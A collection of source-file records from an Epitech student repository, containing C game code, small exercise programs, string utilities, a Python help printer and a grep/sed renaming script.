"bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 108trigo_2019\n## File description:\n## utils.py\n##\n\ndef printhelp():\n print(\"USAGE\\n\"\n \"\\t./108trigo fun a0 a1 a2....\\n\"\n \"\\n\"\n \"DESCRIPTION\\n\"\n \"\\tfun\\tfunction to be applied,\"\n ' among at least \"EXP\", \"COS\", \"SIN\", \"COSH\" and \"SINH\"\\n'\n '\\tai\\tcoeficients of the matrix')\n exit(0)\n\ndef print_matrix(matrix):\n for i in range(len(matrix)):\n for j in range(len(matrix[i])):\n print(\"%.2f%c\" % (matrix[i][j], '\\t' if (j != len(matrix[i]) - 1) else '\\n'), end=\"\")\n" }, { "alpha_fraction": 0.6894453763961792, "alphanum_fraction": 0.6917856335639954, "avg_line_length": 27.49333381652832, "blob_id": "347e0f262b23d2046fd05363929a581f5e63f6fb", "content_id": "bc19918e437bfe7a5d46bb587ec5db1ebb6ca2e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4273, "license_type": "no_license", "max_line_length": 80, "num_lines": 150, "path": "/tek1/Game/MUL_my_rpg_2019/include/rpg.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** MUL_my_rpg_2019\n** File description:\n** rpg\n*/\n\n#ifndef RPG_H_\n#define RPG_H_\n\n#include \"game.h\"\n#include <stdlib.h>\n\ntypedef struct combat_stats {\n int health;\n int armor;\n int attack;\n int defense;\n} combat_stats_t;\n\ntypedef struct reward {\n char *type;\n char *item;\n int value;\n} reward_t;\n\ntypedef struct objective {\n char *instruction;\n char *type;\n char *target;\n int progress;\n int nb_required;\n linked_list_t *rewards;\n} objective_t;\n\ntypedef struct quest {\n char *file;\n char *name;\n dictionary_t *objectives;\n char *objective;\n char *given_by;\n char *redeem_to;\n linked_list_t *rewards;\n} quest_t;\n\ntypedef struct gameplay_data {\n int player_level;\n int xp_current;\n int xp_needed;\n combat_stats_t *stats;\n quest_t *current_quest;\n} gameplay_data_t;\n\ntypedef struct dialogue_choice {\n char *text;\n char *go_to;\n} dialogue_choice_t;\n\ntypedef struct dialogue_line {\n char *name;\n char *text;\n linked_list_t *choices;\n} dialogue_line_t;\n\ntypedef struct dialogue_part {\n char *name;\n linked_list_t *lines;\n linked_list_t *quests;\n linked_list_t *rewards;\n} dialogue_part_t;\n\ntypedef struct dialogue_progress {\n dialogue_part_t *part;\n int line;\n} dialogue_progress_t;\n\ntypedef struct dialogue_condition {\n char *type;\n char *quest;\n char *condition;\n double value;\n} dialogue_condition_t;\n\ntypedef struct dialogue {\n char *npc;\n linked_list_t *conditions;\n char *default_part;\n dictionary_t *parts;\n dialogue_progress_t *progress;\n} dialogue_t;\n\ntypedef struct player_move {\n dialogue_t **dial;\n dictionary_t **gamedata;\n dictionary_t **entities;\n entity_t *player;\n char **current_animation;\n char **frame_anim;\n int *moving;\n int time;\n} player_move_t;\n\ntypedef struct fight_arguments {\n int delta_time;\n combat_stats_t *player_stats;\n combat_stats_t *enemy_stats;\n} fight_arguments_t;\n\ndialogue_t *import_dialogue(char *filename);\ndictionary_t *entity_load_dialogues(char *name, json_object_t *obj);\nvoid render_dialogue(sfRenderWindow *win, dialogue_t *dial,\ndictionary_t **gamedata, int selected_choice);\nint dial_progress(dialogue_t *dial, int selected_choice, quest_t **quest);\nvoid player_movement(dictionary_t **gamedata, dictionary_t **entities,\n dialogue_t **dial, int delta_time);\nvoid dialogue_input(dialogue_t **dial, int *selected_choice, quest_t **quest);\nreward_t *import_reward(json_object_t *obj);\nvoid init_fight(dialogue_t **dial, int spell);\nquest_t *import_quest(char *filename);\nsfFont *load_font(char *name, char *file, dictionary_t **gamedata);\nsfText *create_text(sfFont *font, char *name, sfVector2f pos,\n dictionary_t **gamedata);\nsfText *load_text(sfFont *font, char *name, sfVector2f pos,\n dictionary_t **gamedata);\nvoid render_quest(sfRenderWindow *win, quest_t *quest, dictionary_t **gamedata);\nquest_t *quest_progress(quest_t *quest, char *progress_type, char *target,\n int amount);\nint check_main_menu_buttons(const sfWindow *window, dictionary_t **entities,\ndictionary_t **gamedata);\nint real_damage(int damage, int defense);\nint p_spell(int n, combat_stats_t *enemy_stats, combat_stats_t *player_stats);\nvoid enemy_turn(combat_stats_t *player_stats);\nvoid player_turn(combat_stats_t *player_stats, combat_stats_t *enemy_stats,\n dialogue_t **dial, int spell);\nvoid check_loading_zones(dictionary_t **entities, dictionary_t **gamedata);\ndialogue_t *dialogue_start(entity_t *entity, quest_t *quest);\nint display_pause_menu(const sfWindow* window, dictionary_t **entities,\n dictionary_t **gamedata);\nvoid fight_frame(dialogue_t **dial, dictionary_t **gamedata,\n dictionary_t **entities, fight_arguments_t args);\nvoid hurt(combat_stats_t *who, int damage);\nint p_spell(int n, combat_stats_t *enemy_stats, combat_stats_t *player_stats);\nvoid render_pve(sfRenderWindow *win, dictionary_t **gamedata,\n combat_stats_t *player_stats, combat_stats_t *enemy_stats);\nvoid start_fight(dialogue_t **dial, dictionary_t **gamedata,\n dictionary_t **entities);\nint end_fight(combat_stats_t player_stats, dialogue_t **dial,\n dictionary_t **gamedata, dictionary_t **entities);\n\n#endif /* !RPG_H_ */" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.6593406796455383, "avg_line_length": 14, "blob_id": "e5b037ba953bb48778ef5620dcb7dc67ee2989aa", "content_id": "eddbbdc0baeed1c62737dcc762484fe909049b3b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 91, "license_type": "no_license", "max_line_length": 24, "num_lines": 6, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/transform.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** transform.c\n*/\n\n" }, { "alpha_fraction": 0.5330396294593811, "alphanum_fraction": 0.5682819485664368, "avg_line_length": 12.411765098571777, "blob_id": "c5f710f810dc8f02ec30f51694828079011cfcaa", "content_id": "f339be4df85de419d661a4f29e2f42eeb82c60eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 227, "license_type": "no_license", "max_line_length": 41, "num_lines": 17, "path": "/tek1/Functionnal/CPE_lemin_2019/lib/tools/my_char_to_str.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** my_char_to_str\n*/\n\n#include <stdlib.h>\n\nchar *my_char_to_str(char c)\n{\n char *str = malloc(sizeof(char) * 2);\n\n str[0] = c;\n str[1] = 0;\n return str;\n}" }, { "alpha_fraction": 0.5724079012870789, "alphanum_fraction": 0.6075407266616821, "avg_line_length": 25.545454025268555, "blob_id": "b455107582e639a1f472369865e67d3d7994b2c7", "content_id": "77713fd58b8bcd5df382e5a7de87c51d31156ae4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1167, "license_type": "no_license", "max_line_length": 76, "num_lines": 44, "path": "/tek1/Game/MUL_my_rpg_2019/src/menus/principal.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Visual Studio Live Share (Workspace)\n** File description:\n** principal.c\n*/\n\n#include \"rpg.h\"\n\nint exit_button(sfVector2u size, sfVector2i mouse)\n{\n if (mouse.y > size.y*0.52 && mouse.y < size.y*0.73 &&\n mouse.x > size.x*0.38) {\n if (mouse.x < size.x*0.64 && sfMouse_isButtonPressed(sfMouseLeft))\n return 1;\n }\n return 0;\n}\n\nint launch_game(const sfWindow* window, dictionary_t **entities,\n dictionary_t **gamedata)\n{\n sfVector2i mouse = sfMouse_getPosition(window);\n sfVector2u size = sfWindow_getSize(window);\n\n if (exit_button(size, mouse) == 1)\n return 1;\n if (mouse.y > size.y*0.22 && mouse.y < size.y*0.42 &&\n mouse.x > size.x*0.38) {\n if (mouse.x < size.x*0.64 && sfMouse_isButtonPressed(sfMouseLeft))\n import_map(\"office.map\", entities, gamedata);\n }\n return 0;\n}\n\nint check_main_menu_buttons(const sfWindow* window, dictionary_t **entities,\n dictionary_t **gamedata)\n{\n if (my_strcmp(dict_get(*gamedata, \"map\"), \"main_menu.map\") == 0) {\n if (launch_game(window, entities, gamedata) == 1)\n return 1;\n }\n return 0;\n}" }, { "alpha_fraction": 0.4290865361690521, "alphanum_fraction": 0.4771634638309479, "avg_line_length": 17.511110305786133, "blob_id": "5d5d3201b4c22ece6f511c83f8827c693999bb30", "content_id": "ff05a15f03ec91b81fd95caee78fd90ed7cc1f72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 832, "license_type": "no_license", "max_line_length": 40, "num_lines": 45, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/my_int_to_str.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_int_to_str\n** File description:\n** my_int_to_str\n*/\n\n#include \"tools.h\"\n#include <stdlib.h>\n\nchar **int_to_str(int nb, char **str)\n{\n char s[2];\n char **s2 = malloc(sizeof(char *));\n\n if (nb < -2147483647) {\n *s2 = my_strdup(\"-2147483648\");\n return s2;\n }\n if (nb < 0) {\n nb = nb * -1;\n *str = my_strconcat(*str, \"-\");\n } else if (nb >= 10) {\n int_to_str(nb / 10, str);\n int_to_str(nb % 10, str);\n } else {\n s[0] = nb + '0';\n s[1] = 0;\n *str = my_strconcat(*str, s);\n }\n return (str);\n}\n\nchar *my_int_to_str(int nb)\n{\n char **str = malloc(sizeof(char *));\n char **output;\n char *nbr;\n\n *str = my_strdup(\"\");\n output = int_to_str(nb, str);\n nbr = *output;\n free(output);\n return nbr;\n}" }, { "alpha_fraction": 0.693270742893219, "alphanum_fraction": 0.6995305418968201, "avg_line_length": 22.703702926635742, "blob_id": "c249f0747f89f3d73e66813a6d93d4a42ca8f3df", "content_id": "8ffa82c3d48791301696331f2b811e319142cb0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 639, "license_type": "no_license", "max_line_length": 56, "num_lines": 27, "path": "/tek1/Game/MUL_my_hunter_20192/include/utils.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2017\n** my_hunter\n** File description:\n** utils functions (header file)\n*/\n\n# include \"hunter.h\"\n\n# ifndef UTILS_H\n# define UTILS_H\n\nvoid \t\t\tparam_textures(assets_t *ass);\nassets_t \t\t*configure_assets(param_t *param);\nvoid \t\t\tinitiate_assets(param_t *param);\nvoid \t\t\tdestroy_assets(param_t *param);\n\nvoid \t\t\tconfigure_animations(param_t *param);\nvoid \t\t\tdestroy_animations(param_t *param);\n\nassets_t \t\t*initiate_assets_struct(void);\nplayerStat_t \t*initiate_playerStats(void);\nparam_t \t\t*initiate_params(void);\nsfIntRect \t\t*configure_rect(int l, int t, int w, int h);\nvoid \t\t\tdestroy_content(param_t *param);\n\n# endif" }, { "alpha_fraction": 0.3537331819534302, "alphanum_fraction": 0.40391677618026733, "avg_line_length": 14.711538314819336, "blob_id": "daa5acc62ccdd566144ad9214cb1b4e8a36698e2", "content_id": "4f723a596ad927c8371863b03659ec8082d4ba8f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 817, "license_type": "no_license", "max_line_length": 41, "num_lines": 52, "path": "/tek1/Piscine/CPool_Day03_2019/my_print_comb.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_print_comb\n** File description:\n** \n*/\n\nint my_print_number(int nbr)\n{\n int a;\n int b;\n int c = nbr / 100;\n int z = nbr;\n\n nbr = nbr % 100;\n b = nbr / 10;\n nbr = nbr % 10;\n a = nbr;\n if (a <= b)\n return (-1);\n if (b <= c)\n return (-1);\n return (z);\n}\n\nvoid check_nbr(int i)\n{\n if (i < 789) {\n my_putchar(',');\n my_putchar(' ');\n }\n else{\n my_putchar('\\n');\n }\n}\n\nint my_print_comb(void)\n{\n int i;\n int nbr;\n\n for (i = 0; i < 1000; i++) {\n nbr = my_print_number(i);\n if (nbr != -1) {\n my_putchar((nbr / 100) + 48);\n nbr = nbr % 100;\n my_putchar((nbr / 10) + 48);\n my_putchar((nbr % 10) + 48);\n check_nbr(i);\n }\n }\n}\n" }, { "alpha_fraction": 0.35357367992401123, "alphanum_fraction": 0.3953194320201874, "avg_line_length": 20.093334197998047, "blob_id": "e24cb36489775952f2d8a61b6484f343538ccc82", "content_id": "805745b8d499e7aa35c5e47c6e823c8c689da0cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1581, "license_type": "no_license", "max_line_length": 80, "num_lines": 75, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/error.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** error.c\n*/\n\n#include \"../include/my.h\"\n\nint check_base(char **av, int ac)\n{\n for (int i = 1; i != ac; i++) {\n if (my_strcmp(av[i], \"-b\") == 1 && (my_getnbr(av[i + 1]) < 2\n || my_getnbr(av[i + 1]) > 10))\n return 84;\n }\n return 0;\n}\n\nint check_nbr(char **av, int ac)\n{\n for (int i = 1; i != ac; i++) {\n if (my_strcmp(av[i], \"-p\") == 1 || my_strcmp(av[i], \"-n\") == 1)\n if (my_getnbr(av[i + 1]) <= 0)\n return 84;\n }\n return 0;\n}\n\nint check_flagnb(char *flag)\n{\n if (my_strcmp(flag, \"-p\") == 1 || my_strcmp(flag, \"-n\") == 1 ||\n my_strcmp(flag, \"-imin\") == 1 || my_strcmp(flag, \"-imax\") == 1\n || my_strcmp(flag, \"-b\") == 1)\n return 0;\n else if (flag >= 58 || flag <= 47)\n return 1;\n else\n return 84;\n\n}\n\nint check_flag(char **av, int ac)\n{\n int i = 0;\n\n for (int p = 1; p != ac; p++) {\n while (av[p][i] != 0) {\n if ((av[p][i] > '9' || av[p][i] < '0') && check_flagnb(av[p]) == 84)\n return 84;\n i++;\n }\n }\n return 0;\n}\n\nint check_int(char **av, int ac)\n{\n int p = 0;\n\n for (int i = 1; i != ac; i++) {\n while (av[i][p] != 0) {\n if (check_flagnb(av[i]) == 0)\n i = i + 1;\n if (av[i][p] >= 48 && av[i][p] <= 57)\n p++;\n else\n return 84;\n }\n p = 0;\n }\n if (check_flag(av, ac) == 84)\n return 84;\n return 0;\n}" }, { "alpha_fraction": 0.45225223898887634, "alphanum_fraction": 0.50090092420578, "avg_line_length": 17.53333282470703, "blob_id": "ac94eaa510c2527416e7e140215695e0cfa0a29e", "content_id": "d7aa3ffbef034a63538dc19d8275379c44803167", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 555, "license_type": "no_license", "max_line_length": 60, "num_lines": 30, "path": "/tek1/QuickTest/SYN_palindrome_2019/requirement.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** requirement.c\n*/\n\nint my_factrec_synthesis(int nb)\n{\n if (nb < 0 || nb > 12)\n return 0;\n else if (nb == 0)\n return 1;\n else\n return nb * my_factrec_synthesis(nb - 1);\n}\n\nint my_squareroot_synthesis(int nb)\n{\n int root = 0;\n\n if (nb < 0)\n return (-1);\n if (nb == 0 || nb == 1)\n return (nb);\n for (root = root; root < 46341 && root < nb + 1; root++)\n if (root * root == nb)\n return (root);\n return (-1);\n}" }, { "alpha_fraction": 0.5132743120193481, "alphanum_fraction": 0.5530973672866821, "avg_line_length": 13.1875, "blob_id": "235db0391e8d86ff4b1d5f441b75b613e4370b7d", "content_id": "b5872a4d670898bb59bf6652d88cc82161b946ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 226, "license_type": "no_license", "max_line_length": 38, "num_lines": 16, "path": "/tek1/Advanced/PSU_navy_2019/lib/base_long.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_my_printf_2019\n** File description:\n** base.c\n*/\n\n#include \"navy.h\"\n\nvoid base_long(unsigned long i, int b)\n{\n if (i == 0)\n return;\n base_long(i / b, b);\n my_put_nbr(i % b);\n}" }, { "alpha_fraction": 0.5160912871360779, "alphanum_fraction": 0.5336453914642334, "avg_line_length": 21.799999237060547, "blob_id": "052bd91ccb925cc3bcbd9020ebff10cd574dd974", "content_id": "aa591c3650e82ec80488eb6a2886230a56542387", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1709, "license_type": "no_license", "max_line_length": 68, "num_lines": 75, "path": "/tek1/QuickTest/SYN_palindrome_2019/src/palindrome.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** SYN_palindrome_2019\n** File description:\n** palindrome.c\n*/\n\n#include \"../include/palindrome.h\"\n#include \"../include/my.h\"\n\nint print_result(int nb, palindrome *pal, int p, int origin)\n{\n my_put_nbr(nb);\n my_putstr(\" leads to \");\n my_put_nbr(p);\n my_putstr(\" in \");\n my_put_nbr(origin);\n my_putstr(\" iteration(s) in base \");\n my_put_nbr(pal->base);\n my_putchar('\\n');\n return 1;\n}\n\nint calculate_iterative(int i, palindrome *pal)\n{\n int p = 0;\n int nb = i;\n int new_nbr = 0;\n char *nbrs = malloc(sizeof(char) * 100);\n char *nbrss = malloc(sizeof(char) * 100);\n int checker = 0;\n\n if (reverse_nbr(i, pal) == pal->number && pal->imin == 0)\n checker = print_result(i, pal, pal->number, p + 1);\n while (p < pal->imax) {\n new_nbr = reverse_nbr(nb, pal);\n nb += new_nbr;\n if ((my_strcmp(baseconv(nbrs, nb, pal->base),baseconv(nbrss,\n pal->number, pal->base)) == 1) && (pal->imin <= p + 1))\n checker = print_result(i, pal, pal->number, p + 1);\n p++;\n }\n free(nbrs);\n free(nbrss);\n return checker;\n}\n\nint palind(palindrome *pal)\n{\n int checker = 0;\n\n for (int i = 1; i <= pal->number; i++) {\n if (checker == 0)\n checker = calculate_iterative(i, pal);\n else\n calculate_iterative(i, pal);\n }\n return checker;\n}\n\nint reverse_nbr(int nb, palindrome *pal)\n{\n int nbr = nb;\n int lastdigit = 0;\n int reverse = 0;\n int i = 0;\n\n while (nbr > 0) {\n lastdigit = nbr % pal->base;\n reverse = (reverse * pal->base) + lastdigit;\n nbr = nbr / pal->base;\n i++;\n }\n return reverse;\n}" }, { "alpha_fraction": 0.4954128563404083, "alphanum_fraction": 0.5229358077049255, "avg_line_length": 15.375, "blob_id": "669572a1e03c01bbf944e347d0d7382f09cd84c7", "content_id": "2e64d2482cf39161b7e18a12f1db3292bce6a3a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 654, "license_type": "no_license", "max_line_length": 56, "num_lines": 40, "path": "/tek1/Advanced/PSU_minishell2_2019/src/exec.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_minishell2_2019\n** File description:\n** exec.c\n*/\n\n#include \"shell2.h\"\n#include \"my.h\"\n\nint cd(char *cmd)\n{\n char *arg;\n arg = my_argselect(cmd, 3);\n my_putstr(arg);\n}\n\nchar *my_argselect(char *s,int first)\n{\n int p = 0;\n int len = my_strlendeli(s, first);\n char *new_str = malloc(sizeof(char) * len + 2);\n\n for (int i = first; i < first + len + 1; i++, p++) {\n new_str[p] = s[i];\n }\n new_str[p] = '\\0';\n return new_str;\n}\n\nint my_strlendeli(char *str, int start)\n{\n int count = 0;\n\n while (str[start] != '\\0') {\n count++;\n start++;\n }\n return count - 1;\n}" }, { "alpha_fraction": 0.3572649657726288, "alphanum_fraction": 0.3948718011379242, "avg_line_length": 18.53333282470703, "blob_id": "7586eff9c1ebcef8f0c499f49d9eb9e66c613c45", "content_id": "9282f00eee1f1870b2d2ac22f9c10c4a3259b495", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 585, "license_type": "no_license", "max_line_length": 56, "num_lines": 30, "path": "/tek1/Functionnal/CPE_corewar_2019/lib/phoenix/sorted_params.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** BOO_phoenix_d03_2019\n** File description:\n** sorted_params.c\n*/\n\n#include \"phoenix.h\"\n\nint sorted_params (int ac, char **av)\n{\n int final = 0;\n char *save;\n\n while (final == 0) {\n final++;\n for (int i = 0; i < (ac - 1); i++) {\n if (my_strncmp(av[i], av[i + 1], 500) > 0) {\n final--;\n save = av[i];\n av[i] = av[i + 1];\n av[i + 1] = save;\n }\n }\n }\n for (int i = 0; i < ac; i++) {\n my_putstr(av[i]);\n my_putstr(\"\\n\");\n }\n}" }, { "alpha_fraction": 0.4109589159488678, "alphanum_fraction": 0.42465752363204956, "avg_line_length": 16.380952835083008, "blob_id": "85dd086a0a2ab1b77ff17206359129970543c6d7", "content_id": "4b4b2f63337ba71de8ab62894b1b9d5ef26169b7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 365, "license_type": "no_license", "max_line_length": 36, "num_lines": 21, "path": "/tek1/Advanced/PSU_minishell2_2019/lib/my/do_op.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** do_op\n** File description:\n** by clement fleur\n*/\n\nint do_op(int lhs, int rhs, char op)\n{\n if (op == '+')\n return (lhs + rhs);\n if (op == '-')\n return (lhs - rhs);\n if (op == '*')\n return (lhs * rhs);\n if (op == '/')\n return (lhs / rhs);\n if (op == '%')\n return (lhs % rhs);\n return 0;\n}\n" }, { "alpha_fraction": 0.5313887000083923, "alphanum_fraction": 0.5504121780395508, "avg_line_length": 31.525774002075195, "blob_id": "1b22450d5b242e1281b49f66db6a4ed4f3ce2f0f", "content_id": "8bbd3c12702efba4e21993969719f414e0a5965f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3154, "license_type": "no_license", "max_line_length": 81, "num_lines": 97, "path": "/tek1/Functionnal/CPE_lemin_2019/src/parsing.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** CPE_lemin_2019\n** File description:\n** parsing\n*/\n\n#include \"lemin.h\"\n#include <stdio.h>\n\nint parse_room(lemin_data_t *data, char *line)\n{\n room_t *room;\n char **split_str = my_strsplit(line, ' ');\n int array_length = my_arrlen(split_str);\n\n if (array_length >= 3) {\n if (dict_get(data->rooms, split_str[0])) {\n my_printf(\"ERROR: room `%s` already exists\", split_str[0]);\n return 0;\n }\n room = malloc(sizeof(room_t));\n room->name = my_strdup(split_str[0]);\n room->coords = v2i(my_getnbr(split_str[1]), my_getnbr(split_str[2]));\n data->rooms = dict_add(data->rooms, my_strdup(room->name), room);\n if (data->next_room == R_START) data->start_room = room->name;\n else if (data->next_room == R_END) data->end_room = room->name;\n data->next_room = R_NORMAL;\n }\n free_split(split_str);\n return array_length >= 3;\n}\n\nint parse_tunnel(lemin_data_t *data, char *line)\n{\n char **split_str = my_strsplit(line, '-');\n int array_length = my_arrlen(split_str);\n room_t *room1;\n room_t *room2;\n tunnel_t *tunnel;\n\n if (array_length == 2) {\n room1 = dict_get(data->rooms, split_str[0]);\n room2 = dict_get(data->rooms, split_str[1]);\n if (!room1 || !room2) {\n my_printf(\"ERROR: room `%s` doesn't exist\\n\", !room1 ? split_str[0] :\n split_str[1]);\n return 84;\n }\n tunnel = malloc(sizeof(tunnel_t));\n tunnel->room1 = room1;\n tunnel->room2 = room2;\n data->tunnels = ll_append(data->tunnels, tunnel);\n }\n return 0;\n}\n\nint parse_start_end(lemin_data_t *data, char *line)\n{\n if (my_str_startswith(line, \"##\")) {\n if (!my_strcmp(line, \"##start\") || !my_strcmp(line, \"##end\")) {\n data->next_room = !my_strcmp(line, \"##start\") ? R_START : R_END;\n if ((data->next_room == R_START && data->start_room) ||\n (data->next_room == R_END && data->end_room)) {\n my_printf(\"ERROR: multiple %s rooms\", data->next_room ==\n R_START ? \"start\" : \"end\");\n return my_free_assign(line, 84);\n }\n }\n return my_free_assign(line, 1);\n }\n return 0;\n}\n\nint parse_line(lemin_data_t *data)\n{\n char *lineptr = NULL;\n size_t n = 0;\n int return_value = getline(&lineptr, &n, stdin);\n char **split_str;\n\n if (return_value == -1) return my_free_assign(lineptr, -1);\n if (my_strlen(lineptr) != 0 && lineptr[my_strlen(lineptr) - 1] == '\\n')\n lineptr[my_strlen(lineptr) - 1] = 0;\n return_value = parse_start_end(data, lineptr);\n if (return_value) return return_value;\n split_str = my_strsplit(lineptr, '#');\n if (!my_strcmp(split_str[0], \"\")) {\n free_split(split_str);\n return my_free_assign(lineptr, return_value);\n }\n if (data->ants_nb == -999999999) data->ants_nb = my_getnbr(split_str[0]);\n else if (!parse_room(data, split_str[0]))\n return_value = parse_tunnel(data, split_str[0]);\n free_split(split_str);\n return my_free_assign(lineptr, return_value);\n}" }, { "alpha_fraction": 0.5333333611488342, "alphanum_fraction": 0.6166666746139526, "avg_line_length": 10, "blob_id": "9c6c44b65101bc83833f1d6e672cf31851c3e6f2", "content_id": "7738a3b91a356dc586648a4aff5efddef146bcb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 120, "license_type": "no_license", "max_line_length": 24, "num_lines": 11, "path": "/tek1/Game/MUL_my_defender_2019/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** MUL_my_defender_2019\n** File description:\n** main.c\n*/\n\nint main(void)\n{\n return 84;\n}" }, { "alpha_fraction": 0.47921761870384216, "alphanum_fraction": 0.5085574388504028, "avg_line_length": 17.636363983154297, "blob_id": "448a8ed60b0fe0365a75679d8dc17bd46bc4e34d", "content_id": "be7ff087751c9841a154cbe82e986dd13131d35b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 409, "license_type": "no_license", "max_line_length": 51, "num_lines": 22, "path": "/tek1/Game/MUL_my_defender_2019/lib/tools/my_str_endswith.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libtools\n** File description:\n** my_str_endswith\n*/\n\n#include \"tools.h\"\n\nint my_str_endswith(char *str, char *with)\n{\n int diff = my_strlen(str) - my_strlen(with);\n\n if (diff < 0) return 0;\n for (int i = my_strlen(str) - 1; i >= 0; i--) {\n if (str[i] != with[i - diff])\n return 0;\n if (i - diff == 0)\n return 1;\n }\n return 1;\n}" }, { "alpha_fraction": 0.5631579160690308, "alphanum_fraction": 0.5894736647605896, "avg_line_length": 12.571428298950195, "blob_id": "d81c56173525849acf70c25081224a163ae1a7e7", "content_id": "251507fa1c331ddac92c979e4aa63b1d451da998", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 190, "license_type": "no_license", "max_line_length": 35, "num_lines": 14, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_strlen.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_strlen\n** File description:\n** Gives string length\n*/\n\nint my_strlen(char const *str)\n{\n int len;\n\n for (len = 0; str[len]; len++);\n return len;\n}\n" }, { "alpha_fraction": 0.5625, "alphanum_fraction": 0.6015625, "avg_line_length": 16.133333206176758, "blob_id": "1f6ebcf301745ef8cf9d527ca5c9776e00a1b2b2", "content_id": "cbc97ea3958c28c8dac841a87bfa137f664cac60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 256, "license_type": "no_license", "max_line_length": 49, "num_lines": 15, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_put_unsinged_int.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_put_unsinged_int.c\n** File description:\n** lib - mehdi.zehri\n*/\n\n#include \"navy.h\"\n\nunsigned int my_put_unsigned_nbr(unsigned int nb)\n{\n if (nb > 9)\n my_put_unsigned_nbr(nb / 10);\n my_putchar('0' + nb % 10);\n}" }, { "alpha_fraction": 0.6554054021835327, "alphanum_fraction": 0.6959459185600281, "avg_line_length": 48.33333206176758, "blob_id": "75b87d7e9729c1f4bf20cfcc58af87e4132e2194", "content_id": "8fea75254c18d4fb954065f4afc6c7d70063c15c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 148, "license_type": "no_license", "max_line_length": 134, "num_lines": 3, "path": "/tek1/Piscine/CPool_Day02_2019/looneytised.sh", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ngrep -E \"theo1|steven1|arnaud1|pierre-jean\" | sed \"s/theo1/Wile E. Coyote/g;s/steven1/Daffy Duck/g;s/arnaud1/Porky Pig/g;s/pierre-jean/Marvin the Martian/g\"\n" }, { "alpha_fraction": 0.5529801249504089, "alphanum_fraction": 0.5662251710891724, "avg_line_length": 11.119999885559082, "blob_id": "bae3e1db230d8149325fc375bad8bc9b1ce088d8", "content_id": "2e42d3247763822dc5da5405fa6ca45c67f3693c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 302, "license_type": "no_license", "max_line_length": 39, 